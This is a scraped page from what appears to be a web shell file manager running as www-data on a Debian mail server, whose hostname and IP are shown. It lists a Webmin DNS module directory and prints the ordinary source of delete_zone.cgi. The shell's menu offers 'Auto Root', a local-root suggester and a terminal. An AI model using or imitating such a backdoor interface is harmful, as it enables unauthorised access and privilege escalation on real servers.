Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
bind8 /
Delete
Unzip
Name
Size
Permission
Date
Action
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
CHANGELOG
12.67
KB
-rw-r--r--
2026-07-17 21:17
acl_security.pl
5.71
KB
-rwxr-xr-x
2026-07-17 21:17
backup_config.pl
1.45
KB
-rwxr-xr-x
2026-07-17 21:17
bind8-lib.pl
119.83
KB
-rwxr-xr-x
2026-07-17 21:17
cgi_args.pl
1.92
KB
-rwxr-xr-x
2026-07-17 21:17
check_zone.cgi
1.31
KB
-rwxr-xr-x
2026-07-17 21:22
close.cgi
358
B
-rwxr-xr-x
2026-07-17 21:22
conf_acls.cgi
1005
B
-rwxr-xr-x
2026-07-17 21:22
conf_controls.cgi
2.36
KB
-rwxr-xr-x
2026-07-17 21:22
conf_dnssec.cgi
952
B
-rwxr-xr-x
2026-07-17 21:22
conf_dnssectools.cgi
2.17
KB
-rwxr-xr-x
2026-07-17 21:22
conf_files.cgi
1.2
KB
-rwxr-xr-x
2026-07-17 21:22
conf_forwarding.cgi
1.56
KB
-rwxr-xr-x
2026-07-17 21:22
conf_keys.cgi
1.08
KB
-rwxr-xr-x
2026-07-17 21:22
conf_logging.cgi
4.87
KB
-rwxr-xr-x
2026-07-17 21:22
conf_manual.cgi
1.22
KB
-rwxr-xr-x
2026-07-17 21:22
conf_misc.cgi
1.96
KB
-rwxr-xr-x
2026-07-17 21:22
conf_ncheck.cgi
828
B
-rwxr-xr-x
2026-07-17 21:22
conf_net.cgi
4.02
KB
-rwxr-xr-x
2026-07-17 21:22
conf_rndc.cgi
1.17
KB
-rwxr-xr-x
2026-07-17 21:22
conf_servers.cgi
1.83
KB
-rwxr-xr-x
2026-07-17 21:22
conf_trusted.cgi
2.16
KB
-rwxr-xr-x
2026-07-17 21:22
conf_zonedef.cgi
4.92
KB
-rwxr-xr-x
2026-07-17 21:22
config-AlmaLinux-6.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-CentOS-Linux-6.0-7.9
1011
B
-rw-r--r--
2026-07-17 21:17
config-CentOS-Linux-8.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-CentOS-Stream-Linux-8.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-CloudLinux-8.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-Oracle-Linux-8.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-Redhat-Enterprise-Linux-6.0-7.9
990
B
-rw-r--r--
2026-07-17 21:17
config-Redhat-Enterprise-Linux-8.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-Rocky-Linux-6.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-Scientific-Linux-6.0-ALL
949
B
-rw-r--r--
2026-07-17 21:17
config-Ubuntu-Linux-18.04-22.99
1005
B
-rw-r--r--
2026-07-17 21:17
config-Ubuntu-Linux-24.04-ALL
1005
B
-rw-r--r--
2026-07-17 21:17
config-aix
731
B
-rw-r--r--
2026-07-17 21:17
config-cobalt-linux
736
B
-rw-r--r--
2026-07-17 21:17
config-coherent-linux
871
B
-rw-r--r--
2026-07-17 21:17
config-corel-linux
736
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux
736
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux-10.0-11.99
1005
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux-12.0-ALL
1005
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux-2.2
741
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux-3.0
856
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux-3.1-9.0
948
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-12.0-ALL
804
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-2.1-2.2
742
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-3.0
743
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-3.1-3.5
736
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-4.0-11.0
771
B
-rw-r--r--
2026-07-17 21:17
config-generic-linux
764
B
-rw-r--r--
2026-07-17 21:17
config-gentoo-linux
841
B
-rw-r--r--
2026-07-17 21:17
config-hpux
736
B
-rw-r--r--
2026-07-17 21:17
config-irix
736
B
-rw-r--r--
2026-07-17 21:17
config-macos
742
B
-rw-r--r--
2026-07-17 21:17
config-macos-1.3-ALL
803
B
-rw-r--r--
2026-07-17 21:17
config-mandrake-linux
828
B
-rw-r--r--
2026-07-17 21:17
config-mandrake-linux-10.2-ALL
816
B
-rw-r--r--
2026-07-17 21:17
config-msc-linux
802
B
-rw-r--r--
2026-07-17 21:17
config-netbsd
743
B
-rw-r--r--
2026-07-17 21:17
config-open-linux
812
B
-rw-r--r--
2026-07-17 21:17
config-openSUSE-Linux-15.0-ALL
952
B
-rw-r--r--
2026-07-17 21:17
config-openbsd-2.5-3.1
736
B
-rw-r--r--
2026-07-17 21:17
config-openbsd-3.2-ALL
754
B
-rw-r--r--
2026-07-17 21:17
config-openmamba-linux
812
B
-rw-r--r--
2026-07-17 21:17
config-openserver
736
B
-rw-r--r--
2026-07-17 21:17
config-osf1
736
B
-rw-r--r--
2026-07-17 21:17
config-pardus-linux
889
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux-7.0-ALL
1003
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux-ALL-6.0
1011
B
-rw-r--r--
2026-07-17 21:17
config-slackware-linux
736
B
-rw-r--r--
2026-07-17 21:17
config-slackware-linux-8.0-ALL
770
B
-rw-r--r--
2026-07-17 21:17
config-sol-linux
864
B
-rw-r--r--
2026-07-17 21:17
config-solaris
751
B
-rw-r--r--
2026-07-17 21:17
config-solaris-10-ALL
849
B
-rw-r--r--
2026-07-17 21:17
config-solaris-7-9
739
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux
736
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux-8.2
896
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux-9.0-9.2
1009
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux-9.3-ALL
1.05
KB
-rw-r--r--
2026-07-17 21:17
config-syno-linux
697
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux
941
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux-2.1
937
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux-2.2-ALL
953
B
-rw-r--r--
2026-07-17 21:17
config-turbo-linux
736
B
-rw-r--r--
2026-07-17 21:17
config-united-linux
836
B
-rw-r--r--
2026-07-17 21:17
config-unixware
777
B
-rw-r--r--
2026-07-17 21:17
config-windows
1.19
KB
-rw-r--r--
2026-07-17 21:17
config.info
4.07
KB
-rw-r--r--
2026-07-17 21:17
config.info.bg
6.88
KB
-rw-r--r--
2026-07-17 21:17
config.info.ca
4.5
KB
-rw-r--r--
2026-07-17 21:17
config.info.cs
3.34
KB
-rw-r--r--
2026-07-17 21:17
config.info.de
4.6
KB
-rw-r--r--
2026-07-17 21:17
config.info.es
3.33
KB
-rw-r--r--
2026-07-17 21:17
config.info.fa
4.7
KB
-rw-r--r--
2026-07-17 21:17
config.info.fr
4.92
KB
-rw-r--r--
2026-07-17 21:17
config.info.hu
0
B
-rw-r--r--
2026-07-17 21:17
config.info.ja
4.03
KB
-rw-r--r--
2026-07-17 21:17
config.info.ms
1.12
KB
-rw-r--r--
2026-07-17 21:17
config.info.nl
4.1
KB
-rw-r--r--
2026-07-17 21:17
config.info.no
4
KB
-rw-r--r--
2026-07-17 21:17
config.info.pl
4.42
KB
-rw-r--r--
2026-07-17 21:17
config.info.pt_BR
3.86
KB
-rw-r--r--
2026-07-17 21:17
config.info.ru
3.02
KB
-rw-r--r--
2026-07-17 21:17
config.info.sv
1.02
KB
-rw-r--r--
2026-07-17 21:17
config.info.tr
646
B
-rw-r--r--
2026-07-17 21:17
config.info.uk
3.14
KB
-rw-r--r--
2026-07-17 21:17
config.info.zh
750
B
-rw-r--r--
2026-07-17 21:17
config.info.zh_TW
364
B
-rw-r--r--
2026-07-17 21:17
convert_master.cgi
1.04
KB
-rwxr-xr-x
2026-07-17 21:22
convert_slave.cgi
1.51
KB
-rwxr-xr-x
2026-07-17 21:22
cpan_modules.pl
185
B
-rw-r--r--
2026-07-17 21:17
create_delegation.cgi
1.79
KB
-rwxr-xr-x
2026-07-17 21:22
create_forward.cgi
2.11
KB
-rwxr-xr-x
2026-07-17 21:22
create_hint.cgi
1.48
KB
-rwxr-xr-x
2026-07-17 21:22
create_master.cgi
5.62
KB
-rwxr-xr-x
2026-07-17 21:22
create_slave.cgi
4.31
KB
-rwxr-xr-x
2026-07-17 21:22
create_view.cgi
1.52
KB
-rwxr-xr-x
2026-07-17 21:22
db.cache
2.44
KB
-rw-r--r--
2026-07-17 21:17
defaultacl
219
B
-rw-r--r--
2026-07-17 21:17
delegation_form.cgi
1.32
KB
-rwxr-xr-x
2026-07-17 21:22
delete_recs.cgi
2.84
KB
-rwxr-xr-x
2026-07-17 21:22
delete_view.cgi
2.36
KB
-rwxr-xr-x
2026-07-17 21:22
delete_zone.cgi
5.36
KB
-rwxr-xr-x
2026-07-17 21:22
disable_zonedt.cgi
950
B
-rwxr-xr-x
2026-07-17 21:22
disable_zonekey.cgi
944
B
-rwxr-xr-x
2026-07-17 21:22
dns_boot.cgi
2.57
KB
-rwxr-xr-x
2026-07-17 21:22
edit_delegation.cgi
1.13
KB
-rwxr-xr-x
2026-07-17 21:22
edit_forward.cgi
1.84
KB
-rwxr-xr-x
2026-07-17 21:22
edit_hint.cgi
1.02
KB
-rwxr-xr-x
2026-07-17 21:22
edit_master.cgi
5.96
KB
-rwxr-xr-x
2026-07-17 21:22
edit_options.cgi
1.64
KB
-rwxr-xr-x
2026-07-17 21:22
edit_record.cgi
1.15
KB
-rwxr-xr-x
2026-07-17 21:22
edit_recs.cgi
7.78
KB
-rwxr-xr-x
2026-07-17 21:22
edit_slave.cgi
3.95
KB
-rwxr-xr-x
2026-07-17 21:22
edit_soa.cgi
2.53
KB
-rwxr-xr-x
2026-07-17 21:22
edit_soptions.cgi
2.29
KB
-rwxr-xr-x
2026-07-17 21:22
edit_stub.cgi
3.95
KB
-rwxr-xr-x
2026-07-17 21:22
edit_text.cgi
1.28
KB
-rwxr-xr-x
2026-07-17 21:22
edit_tls.cgi
1.64
KB
-rwxr-xr-x
2026-07-17 21:22
edit_view.cgi
2.14
KB
-rwxr-xr-x
2026-07-17 21:22
edit_zonedt.cgi
6.55
KB
-rwxr-xr-x
2026-07-17 21:22
edit_zonekey.cgi
4.71
KB
-rwxr-xr-x
2026-07-17 21:22
enable_zonedt.cgi
1.13
KB
-rwxr-xr-x
2026-07-17 21:22
enable_zonekey.cgi
1.43
KB
-rwxr-xr-x
2026-07-17 21:22
feedback_files.pl
588
B
-rwxr-xr-x
2026-07-17 21:17
find_free.cgi
5.6
KB
-rwxr-xr-x
2026-07-17 21:22
find_zones.cgi
4.04
KB
-rwxr-xr-x
2026-07-17 21:22
fix_trusted.cgi
1.02
KB
-rwxr-xr-x
2026-07-17 21:22
forward_form.cgi
1.4
KB
-rwxr-xr-x
2026-07-17 21:22
free_chooser.cgi
2.02
KB
-rwxr-xr-x
2026-07-17 21:22
freeze_zone.cgi
1008
B
-rwxr-xr-x
2026-07-17 21:22
hint_form.cgi
1.8
KB
-rwxr-xr-x
2026-07-17 21:22
index.cgi
17.58
KB
-rwxr-xr-x
2026-07-17 21:22
install_check.pl
513
B
-rwxr-xr-x
2026-07-17 21:17
list_gen.cgi
1.97
KB
-rwxr-xr-x
2026-07-17 21:22
list_slaves.cgi
3.29
KB
-rwxr-xr-x
2026-07-17 21:22
list_tls.cgi
1.13
KB
-rwxr-xr-x
2026-07-17 21:22
log_parser.pl
2.66
KB
-rwxr-xr-x
2026-07-17 21:17
mass_create.cgi
7.35
KB
-rwxr-xr-x
2026-07-17 21:22
mass_delete.cgi
3.43
KB
-rwxr-xr-x
2026-07-17 21:22
mass_form.cgi
1.46
KB
-rwxr-xr-x
2026-07-17 21:22
mass_rcreate.cgi
3.82
KB
-rwxr-xr-x
2026-07-17 21:22
mass_rcreate_form.cgi
1.51
KB
-rwxr-xr-x
2026-07-17 21:22
mass_rdelete.cgi
1.93
KB
-rwxr-xr-x
2026-07-17 21:22
mass_rdelete_form.cgi
1.32
KB
-rwxr-xr-x
2026-07-17 21:22
mass_update.cgi
3.01
KB
-rwxr-xr-x
2026-07-17 21:22
mass_update_form.cgi
1.19
KB
-rwxr-xr-x
2026-07-17 21:22
master_form.cgi
3.5
KB
-rwxr-xr-x
2026-07-17 21:22
module.info
279
B
-rw-r--r--
2026-07-17 21:17
module.info.ar
0
B
-rw-r--r--
2026-07-17 21:17
module.info.ar.auto
152
B
-rw-r--r--
2026-07-17 21:17
module.info.bg
30
B
-rw-r--r--
2026-07-17 21:17
module.info.bg.auto
143
B
-rw-r--r--
2026-07-17 21:17
module.info.ca
106
B
-rw-r--r--
2026-07-17 21:17
module.info.ca.auto
16
B
-rw-r--r--
2026-07-17 21:17
module.info.cs
24
B
-rw-r--r--
2026-07-17 21:17
module.info.cs.auto
105
B
-rw-r--r--
2026-07-17 21:17
module.info.da
0
B
-rw-r--r--
2026-07-17 21:17
module.info.da.auto
122
B
-rw-r--r--
2026-07-17 21:17
module.info.de
113
B
-rw-r--r--
2026-07-17 21:17
module.info.de.auto
15
B
-rw-r--r--
2026-07-17 21:17
module.info.el
0
B
-rw-r--r--
2026-07-17 21:17
module.info.el.auto
199
B
-rw-r--r--
2026-07-17 21:17
module.info.es
29
B
-rw-r--r--
2026-07-17 21:17
module.info.es.auto
90
B
-rw-r--r--
2026-07-17 21:17
module.info.eu
0
B
-rw-r--r--
2026-07-17 21:17
module.info.eu.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.fa
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fa.auto
164
B
-rw-r--r--
2026-07-17 21:17
module.info.fi
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fi.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.fr
41
B
-rw-r--r--
2026-07-17 21:17
module.info.fr.auto
113
B
-rw-r--r--
2026-07-17 21:17
module.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
module.info.hr.auto
124
B
-rw-r--r--
2026-07-17 21:17
module.info.hu
27
B
-rw-r--r--
2026-07-17 21:17
module.info.hu.auto
125
B
-rw-r--r--
2026-07-17 21:17
module.info.it
0
B
-rw-r--r--
2026-07-17 21:17
module.info.it.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.ja
27
B
-rw-r--r--
2026-07-17 21:17
module.info.ja.auto
134
B
-rw-r--r--
2026-07-17 21:17
module.info.ko
25
B
-rw-r--r--
2026-07-17 21:17
module.info.ko.auto
111
B
-rw-r--r--
2026-07-17 21:17
module.info.ms
110
B
-rw-r--r--
2026-07-17 21:17
module.info.ms.auto
13
B
-rw-r--r--
2026-07-17 21:17
module.info.nl
24
B
-rw-r--r--
2026-07-17 21:17
module.info.nl.auto
87
B
-rw-r--r--
2026-07-17 21:17
module.info.no
24
B
-rw-r--r--
2026-07-17 21:17
module.info.no.auto
98
B
-rw-r--r--
2026-07-17 21:17
module.info.pl
96
B
-rw-r--r--
2026-07-17 21:17
module.info.pl.auto
17
B
-rw-r--r--
2026-07-17 21:17
module.info.pt
29
B
-rw-r--r--
2026-07-17 21:17
module.info.pt.auto
101
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR
32
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.ru
30
B
-rw-r--r--
2026-07-17 21:17
module.info.ru.auto
167
B
-rw-r--r--
2026-07-17 21:17
module.info.sk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.sk.auto
125
B
-rw-r--r--
2026-07-17 21:17
module.info.sv
24
B
-rw-r--r--
2026-07-17 21:17
module.info.sv.auto
93
B
-rw-r--r--
2026-07-17 21:17
module.info.tr
26
B
-rw-r--r--
2026-07-17 21:17
module.info.tr.auto
121
B
-rw-r--r--
2026-07-17 21:17
module.info.uk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.uk.auto
197
B
-rw-r--r--
2026-07-17 21:17
module.info.zh
27
B
-rw-r--r--
2026-07-17 21:17
module.info.zh.auto
83
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW
30
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW.auto
89
B
-rw-r--r--
2026-07-17 21:17
move_zone.cgi
1.29
KB
-rwxr-xr-x
2026-07-17 21:22
old_save_controls.cgi
2.14
KB
-rwxr-xr-x
2026-07-17 21:22
open.cgi
323
B
-rwxr-xr-x
2026-07-17 21:22
prefs.info
61
B
-rw-r--r--
2026-07-17 21:17
records-lib.pl
27.51
KB
-rwxr-xr-x
2026-07-17 21:17
refetch.cgi
721
B
-rwxr-xr-x
2026-07-17 21:22
resign.pl
2.13
KB
-rwxr-xr-x
2026-07-17 21:22
resign_zone.cgi
724
B
-rwxr-xr-x
2026-07-17 21:22
restart.cgi
835
B
-rwxr-xr-x
2026-07-17 21:22
restart_zone.cgi
671
B
-rwxr-xr-x
2026-07-17 21:22
save_acls.cgi
1.61
KB
-rwxr-xr-x
2026-07-17 21:22
save_controls.cgi
2.32
KB
-rwxr-xr-x
2026-07-17 21:22
save_dnssec.cgi
1.36
KB
-rwxr-xr-x
2026-07-17 21:22
save_dnssectools.cgi
1.52
KB
-rwxr-xr-x
2026-07-17 21:22
save_files.cgi
847
B
-rwxr-xr-x
2026-07-17 21:22
save_forward.cgi
863
B
-rwxr-xr-x
2026-07-17 21:22
save_forwarding.cgi
1.09
KB
-rwxr-xr-x
2026-07-17 21:22
save_gen.cgi
3.8
KB
-rwxr-xr-x
2026-07-17 21:22
save_keys.cgi
1.16
KB
-rwxr-xr-x
2026-07-17 21:22
save_logging.cgi
2.99
KB
-rwxr-xr-x
2026-07-17 21:22
save_manual.cgi
790
B
-rwxr-xr-x
2026-07-17 21:22
save_master.cgi
1.07
KB
-rwxr-xr-x
2026-07-17 21:22
save_misc.cgi
1.32
KB
-rwxr-xr-x
2026-07-17 21:22
save_net.cgi
3.5
KB
-rwxr-xr-x
2026-07-17 21:22
save_record.cgi
23.31
KB
-rwxr-xr-x
2026-07-17 21:22
save_rndc.cgi
2.94
KB
-rwxr-xr-x
2026-07-17 21:22
save_servers.cgi
1.74
KB
-rwxr-xr-x
2026-07-17 21:22
save_slave.cgi
1.62
KB
-rwxr-xr-x
2026-07-17 21:22
save_soa.cgi
2.66
KB
-rwxr-xr-x
2026-07-17 21:22
save_text.cgi
1.13
KB
-rwxr-xr-x
2026-07-17 21:22
save_tls.cgi
2.54
KB
-rwxr-xr-x
2026-07-17 21:22
save_trusted.cgi
1.88
KB
-rwxr-xr-x
2026-07-17 21:22
save_view.cgi
1.38
KB
-rwxr-xr-x
2026-07-17 21:22
save_zonedef.cgi
3.06
KB
-rwxr-xr-x
2026-07-17 21:22
sign_zone.cgi
786
B
-rwxr-xr-x
2026-07-17 21:22
slave_add.cgi
5.07
KB
-rwxr-xr-x
2026-07-17 21:22
slave_delete.cgi
667
B
-rwxr-xr-x
2026-07-17 21:22
slave_form.cgi
2.38
KB
-rwxr-xr-x
2026-07-17 21:22
start.cgi
483
B
-rwxr-xr-x
2026-07-17 21:22
stop.cgi
442
B
-rwxr-xr-x
2026-07-17 21:22
stub_form.cgi
2.38
KB
-rwxr-xr-x
2026-07-17 21:22
syslog_logs.pl
724
B
-rwxr-xr-x
2026-07-17 21:17
system_info.pl
1.19
KB
-rw-r--r--
2026-07-17 21:17
unfreeze_zone.cgi
1006
B
-rwxr-xr-x
2026-07-17 21:22
view_form.cgi
1.12
KB
-rwxr-xr-x
2026-07-17 21:22
view_text.cgi
1.07
KB
-rwxr-xr-x
2026-07-17 21:22
whois.cgi
1.16
KB
-rwxr-xr-x
2026-07-17 21:22
xfer.cgi
1.68
KB
-rwxr-xr-x
2026-07-17 21:22
zone_dnssecmgt_dt.cgi
1.39
KB
-rwxr-xr-x
2026-07-17 21:22
zone_dnssecmigrate_dt.cgi
2.33
KB
-rwxr-xr-x
2026-07-17 21:22
Save
Rename
#!/usr/bin/perl # delete_zone.cgi # Delete an existing master, slave or secondary zone, and it's records file use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; # Globals from bind8-lib.pl our (%access, %text, %in, %config); # Globals from records-lib.pl our $ipv6revzone; require './bind8-lib.pl'; ## no critic &ReadParse(); my $zone = &get_zone_name_or_error($in{'zone'}, $in{'view'}); my ($zconf, $conf, $parent) = &zone_to_config($zone); &can_edit_zone($zone) || &error($text{'master_edelete'}); $access{'ro'} && &error($text{'master_ero'}); $access{'delete'} || &error($text{'master_edeletecannot'}); my $rev = ($zconf->{'value'} =~ /in-addr\.arpa/i || $zconf->{'value'} =~ /\.$ipv6revzone/i); my $type = &find("type", $zconf->{'members'})->{'value'}; $type = 'master' if ($type eq 'primary'); $type = 'slave' if ($type eq 'secondary'); if (!$in{'confirm'} && $config{'confirm_zone'}) { # Ask the user if he is sure .. &ui_print_header(undef, $text{'delete_title'}, "", undef, undef, undef, undef, &restart_links()); # Check if deleted on slaves too my @servers = &list_slave_servers(); if ($type eq 'slave' || $type eq 'stub') { @servers = grep { $_->{'sec'} } @servers; } elsif ($type ne 'master') { @servers = ( ); } # Check if controlled by Virtualmin my @doms = &get_virtualmin_domains($zconf->{'value'}); my $vwarn; if (@doms) { my $f = "<tt>$doms[0]->{'dom'}</tt>"; $vwarn = @doms == 1 ? &text('delete_vwarn', $f) : &text('delete_vwarn2', $f, @doms-1); } my $zdesc = "<tt>".&ip6int_to_net(&arpa_to_ip($zconf->{'value'}))."</tt>"; print &ui_confirmation_form("delete_zone.cgi", $type eq 'hint' ? $text{'delete_mesg2'} : $type eq 'master' ? &text('delete_mesg', $zdesc) : &text('delete_mesg3', $zdesc), [ [ 'zone', $in{'zone'} ], [ 'view', $in{'view'} ] ], [ [ 'confirm', $text{'master_del'} ] ], ($type eq 'master' ? $text{$rev ? 'delete_fwd' : 'delete_rev'}." ". &ui_yesno_radio("rev", 1)."<br>" : ""). (@servers && $access{'remote'} ? $text{'delete_onslave'}." ". &ui_yesno_radio("onslave", 1)."<br>" : ""), $vwarn, ); &ui_print_footer("", $text{'index_return'}); exit; } my @recs; if (!$rev && $in{'rev'} && $type eq 'master') { # find and delete reverse records my $file = &find("file", $zconf->{'members'})->{'value'}; &lock_file(&make_chroot($file)); @recs = &read_zone_file($file, $zconf->{'value'}); foreach my $r (@recs) { next if ($r->{'type'} ne "A" && $r->{'type'} ne "AAAA"); my ($orevconf, $orevfile, $orevrec) = &find_reverse($r->{'values'}->[0], $in{'view'}); if ($orevrec && &can_edit_reverse($orevconf) && $r->{'name'} eq $orevrec->{'values'}->[0] && ($r->{'type'} eq "A" && $r->{'values'}->[0] eq &arpa_to_ip($orevrec->{'name'}) || $r->{'type'} eq "AAAA" && &expandall_ip6($r->{'values'}->[0]) eq &expandall_ip6(&ip6int_to_net($orevrec->{'name'})))) { &lock_file(&make_chroot($orevrec->{'file'})); &delete_record($orevrec->{'file'} , $orevrec); &lock_file(&make_chroot($orevfile)); my @orrecs = &read_zone_file($orevfile, $orevconf->{'name'}); &bump_soa_record($orevfile, \@orrecs); &sign_dnssec_zone_if_key($orevconf, \@orrecs); } } } elsif ($rev && $in{'rev'} && $type eq 'master') { # find and delete forward records my $file = &find("file", $zconf->{'members'})->{'value'}; &lock_file(&make_chroot($file)); @recs = &read_zone_file($file, $zconf->{'value'}); foreach my $r (@recs) { next if ($r->{'type'} ne "PTR"); my ($ofwdconf, $ofwdfile, $ofwdrec) = &find_forward($r->{'values'}->[0]); if ($ofwdrec && &can_edit_zone($ofwdconf) && ($ofwdrec->{'type'} eq "A" && &arpa_to_ip($r->{'name'}) eq $ofwdrec->{'values'}->[0] || $ofwdrec->{'type'} eq "AAAA" && &expandall_ip6(&ip6int_to_net($r->{'name'})) eq &expandall_ip6($ofwdrec->{'values'}->[0])) && $r->{'values'}->[0] eq $ofwdrec->{'name'}) { &lock_file(&make_chroot($ofwdrec->{'file'})); &delete_record($ofwdrec->{'file'} , $ofwdrec); &lock_file(&make_chroot($ofwdfile)); my @ofrecs = &read_zone_file($ofwdfile, $ofwdconf->{'name'}); &bump_soa_record($ofwdfile, \@ofrecs); &sign_dnssec_zone_if_key($ofwdconf, \@ofrecs); } } } # delete the records file my $f = &find("file", $zconf->{'members'}); if ($f && $type ne 'hint') { &delete_records_file($f->{'value'}); } # delete any keys &delete_dnssec_key($zconf, 0); # delete all dnssec-tools related state &dt_delete_dnssec_state($zconf); # remove the zone directive &lock_file(&make_chroot($zconf->{'file'})); &save_directive($parent, [ $zconf ], [ ]); &flush_file_lines(); &unlock_all_files(); &webmin_log("delete", &find("type", $zconf->{'members'})->{'value'}, $zconf->{'value'}, \%in); # remove from acl files my %wusers; &read_acl(undef, \%wusers); foreach my $u (keys %wusers) { my %uaccess = &get_module_acl($u); if ($uaccess{'zones'} ne '*') { $uaccess{'zones'} = join(' ', grep { $_ ne $zconf->{'value'} } split(/\s+/, $uaccess{'zones'})); &save_module_acl(\%uaccess, $u); } } # Also delete from slave servers delete($ENV{'HTTP_REFERER'}); if ($in{'onslave'} && $access{'remote'}) { my @slaveerrs = &delete_on_slaves($zone->{'name'}, undef, $zone->{'view'}); if (@slaveerrs) { &error(&text('delete_errslave', "<p>".join("<br>", map { "$_->[0]->{'host'} : $_->[1]" } @slaveerrs))); } } &redirect("");